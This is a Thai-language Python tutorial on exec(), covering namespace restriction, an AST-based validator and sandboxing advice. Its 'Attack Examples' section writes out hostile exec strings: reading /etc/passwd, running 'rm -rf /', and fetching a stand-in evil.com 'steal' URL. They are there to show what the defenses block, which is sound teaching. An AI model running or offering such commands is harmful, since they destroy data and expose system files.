Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Python

Python exec(): คู่มือครบวงจรพร้อมตัวอย่างและการป้องกันความปลอดภัย

exec() เป็น Built-in Function สำหรับ Execute Python Code Dynamically จาก String หรือ Code Object รองรับ Statements ทุกประเภท (Assignments, Loops, Functions, Classes, Imports) คืนค่า None

ไวยากรณ์และพารามิเตอร์

exec(source, globals=None, locals=None)
ParameterTypeDescription
sourcestr / Code ObjectSource Code ที่จะ Execute
globalsdictGlobal Namespace (Default: Current Globals)
localsMappingLocal Namespace (Default: Current Locals)

ตัวอย่างครบชุด

1. Execute String Statement

x = 9
exec('print(5 * x)')  # 45

2. Execute Code Block (Multi-line)

code_block = '''
x = 3
if x < 5:
    print(x * x)
'''
exec(code_block)  # 9

3. Pass Code Object (Pre-compiled)

code_str = 'x = 3\nif x < 5:\n    print(x * x)'
compiled = compile(code_str, '', 'exec')
exec(compiled)  # 9

Namespace Control (สำคัญมาก)

Case 1: ไม่ส่ง Globals/Locals (Default - Current Scope)

from time import *

exec("print(dir())")
# แสดงทุกอย่างใน Current Scope รวมถึง Imported Names

Case 2: ส่ง Empty Globals {} (Restrict Imports)

from time import *

exec("print(dir())", {})
# Output: ['__builtins__']  (เฉพาะ Built-ins)

Case 3: Allowlist Specific Functions (Globals)

from time import *

exec("print(localtime())", {"localtime": localtime})
# Output: time.struct_time(...)

# Error: NameError: name 'gmtime' is not defined
# exec("print(gmtime())", {"localtime": localtime})

Case 4: Restrict Built-ins + Allowlist Locals

from time import *

exec("print(dir())", {"__builtins__": None}, {"gmtime": gmtime, "print": print, "dir": dir})
# Output: ['dir', 'gmtime', 'print']

Case 5: Capture Variables จาก Exec

namespace = {}
exec("x = 10\ny = 20\nz = x + y", namespace)
print(namespace['z'])  # 30

Security: Attack Vectors และ Mitigation

Attack Examples

# File System Access
exec("open('/etc/passwd').read()")

# Command Execution
exec("__import__('os').system('rm -rf /')")
exec("__import__('subprocess').run(['ls'])")

# Network Access
exec("__import__('urllib.request').urlopen('https://evil.com/steal').read()")

# Introspection
exec("print(globals().keys())")
exec("print(__import__('sys').modules.keys())")

Defense Strategies

StrategyCodeEffectiveness
Empty Globalsexec(code, {})Block Imports, Module Access
No Built-insexec(code, {"__builtins__": None})Block All Built-in Functions
Allowlist Functionsexec(code, {"__builtins__": None}, {"safe_func": func})Control Exact API Surface
AST ValidationParse with ast.parse(), Walk Tree, Reject Dangerous NodesStrong (Static Analysis)
Sandbox/ContainerDocker, gVisor, FirecrackerStrongest (OS Isolation)

AST-based Validator Example

import ast

class SafeExecValidator(ast.NodeVisitor):
    """AST Visitor ที่ตรวจสอบโค้ดก่อน Exec"""
    FORBIDDEN = {
        ast.Import, ast.ImportFrom,  # Imports
        ast.Call,  # Function Calls (จะเช็คเพิ่ม)
        ast.Attribute,  # Attribute Access
    }
    
    ALLOWED_CALLS = {'print', 'len', 'str', 'int', 'float', 'sum', 'max', 'min', 'abs', 'round'}
    
    def visit_Call(self, node):
        if isinstance(node.func, ast.Name):
            if node.func.id not in self.ALLOWED_CALLS:
                raise ValueError(f"Forbidden function call: {node.func.id}")
        elif isinstance(node.func, ast.Attribute):
            raise ValueError("Attribute access not allowed")
        self.generic_visit(node)
    
    def visit_Import(self, node):
        raise ValueError("Imports not allowed")
    
    def visit_ImportFrom(self, node):
        raise ValueError("Imports not allowed")

def safe_exec(code, allowed_globals=None):
    """Execute code with AST Validation"""
    tree = ast.parse(code, mode='exec')
    validator = SafeExecValidator()
    validator.visit(tree)
    
    safe_globals = {"__builtins__": {}}
    if allowed_globals:
        safe_globals.update(allowed_globals)
    
    exec(compile(tree, '', 'exec'), safe_globals)

# ทดสอบ
safe_exec("x = 5\nprint(len('hello'))")  # OK
try:
    safe_exec("import os")  # Error
except ValueError as e:
    print(f"Blocked: {e}")

Use Cases จริง

1. Dynamic Configuration

# config.py (Trusted Source)
DATABASE_URL = "postgresql://user:pass@localhost/db"
DEBUG = True
MAX_CONNECTIONS = 100

# Load Config
config_globals = {}
with open('config.py') as f:
    exec(f.read(), config_globals)

print(config_globals['DATABASE_URL'])

2. Template Engine (Simple)

template = """
def {{func_name}}({{params}}):
    {{body}}
"""

# Generate Function
func_code = template.replace("{{func_name}}", "add").replace("{{params}}", "a, b").replace("{{body}}", "return a + b")
namespace = {}
exec(func_code, namespace)
add_func = namespace['add']
print(add_func(3, 4))  # 7

สรุป

  • exec() ทรงพลังแต่อันตราย - ไม่ใช้กับ Untrusted Input
  • ควบคุม Namespace ด้วย globals, locals และ __builtins__
  • ใช้ AST Validation สำหรับ Static Analysis
  • Production Systems: ใช้ Sandbox/Container หรือหลีกเลี่ยง exec() ทั้งสิ้น
  • Alternatives: importlib, Plugin Systems, Config Formats (YAML/JSON/TOML)